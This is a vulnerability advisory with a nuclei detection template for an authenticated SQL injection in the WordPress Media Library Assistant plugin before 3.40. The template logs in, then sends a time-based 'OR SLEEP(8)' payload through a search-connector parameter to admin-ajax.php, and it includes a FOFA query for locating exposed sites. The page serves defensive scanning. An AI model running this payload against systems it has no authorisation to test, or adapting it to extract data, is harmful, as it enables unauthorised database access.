WordPress Media Library Assistant < 3.40 - SQL Injection

mediumseverity

6.8CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

The Media Library Assistant WordPress plugin before 3.40 does not validate a search parameter before concatenating it into a SQL query in one of its media-library query handlers, allowing users with the Author role and above to perform SQL injection.

Impact

Authenticated attackers can execute arbitrary SQL commands, potentially leading to information disclosure, data modification or deletion.

Fix

Upgrade to version 3.40 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-16959 -u <target>

The full check

id: CVE-2026-16959

info:
  name: WordPress Media Library Assistant < 3.40 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The Media Library Assistant WordPress plugin before 3.40 does not validate a search parameter before concatenating it into a SQL query in one of its media-library query handlers, allowing users with the Author role and above to perform SQL injection.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands, potentially leading to information disclosure, data modification or deletion.
  remediation: |
    Upgrade to version 3.40 or later.
  reference:
    - https://wpscan.com/vulnerability/7b13e3d3-42ee-4fe2-bb47-75bd2273f1b0/
    - https://wordpress.org/plugins/media-library-assistant/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16959
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cve-id: CVE-2026-16959
    epss-score: 0.01282
    epss-percentile: 0.70309
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: david-lingren
    product: media-library-assistant
    framework: wordpress
    fofa-query: body="/wp-content/plugins/media-library-assistant/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,media-library-assistant,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=mla-query-attachments&query[posts_per_page]=10&query[s]=zzqnomatchaaa zzqnomatchbbb&query[mla_search_fields][]=title&query[mla_search_fields][]=content&query[mla_search_connector]= OR SLEEP(8) OR

    matchers:
      - type: dsl
        dsl:
          - duration >= 8
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from